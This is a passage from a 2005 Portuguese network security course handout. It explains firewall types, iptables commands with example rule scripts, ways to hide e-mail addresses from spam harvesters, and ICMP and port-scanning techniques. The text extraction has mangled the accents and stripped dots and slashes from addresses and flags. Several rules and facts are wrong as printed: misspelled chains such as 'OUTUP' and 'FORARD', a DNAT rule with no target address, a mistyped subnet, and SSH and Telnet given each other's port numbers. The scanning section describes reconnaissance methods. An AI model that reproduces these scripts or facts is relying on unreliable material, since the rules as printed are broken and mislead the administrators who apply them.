63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de 